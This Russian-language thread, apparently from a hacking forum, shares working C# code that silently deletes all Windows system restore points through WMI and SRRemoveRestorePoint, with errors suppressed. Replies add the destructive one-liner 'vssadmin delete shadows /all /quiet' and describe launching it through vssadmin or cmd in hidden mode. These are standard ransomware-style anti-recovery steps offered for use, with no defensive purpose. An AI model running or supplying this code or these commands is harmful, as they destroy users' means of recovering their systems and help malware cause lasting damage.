• XSS.stack #1 – первый литературный журнал от юзеров форума

Удаляем все точки восстановления в системе windows

EmeliRouse

RAID-массив
Пользователь
Регистрация
28.06.2020
Сообщения
59
Реакции
138
Скрытый контент для зарегистрированных пользователей.

Создаём класс NativeMethods.cs запишем в него функцию SRRemoveRestorePoint
C#:
internal static class NativeMethods
{
   [DllImport("Srclient.dll")]
   public static extern int SRRemoveRestorePoint(int index);
}

Создаём класс SysStore.cs
Не забываем подключить ссылку System.Management
C#:
using System;
using System.Management;

public class SysStore
{
  public static void Inizialize()
  {
     try
     {
        using (ManagementObjectCollection searcher = new ManagementObjectSearcher("root\\DEFAULT", "SELECT * FROM SystemRestore").Get())
        {
           foreach (ManagementBaseObject collection in searcher)
           {
              int point = Convert.ToInt32(((uint)collection["sequencenumber"]).ToString());
              NativeMethods.SRRemoveRestorePoint(point);
           }
        }
     }
     catch (Exception) { }
  }
}

Далее просто вызываем метод
C#:
SysStore.Inizialize();
в любом месте.
C#:
namespace RestorePoints
{
    using System;

    internal static class Program
    {
        [STAThread]
        public static void Main()
        {
            SysStore.Inizialize();

            Console.ReadKey(true);
        }
    }
}
После этого в системе не будет ни одной записи для восстановления системы.

 
Пожалуйста, обратите внимание, что пользователь заблокирован
не проще vssadmin delete shadows /all /quiet

на СиШарпе -не проще)
 
на СиШарпе -не проще)
Почему? Можно спокойно реализовать через Process.Start вызвать
  1. vssadmin.exe
  2. cmd.exe
с передачей аргументов в скрытом режиме.
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Почему? Можно спокойно реализовать через Process.Start вызвать
  1. vssadmin.exe
  2. cmd.exe
с передачей аргументов в скрытом режиме
Да это ясно) то был сарказм)
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх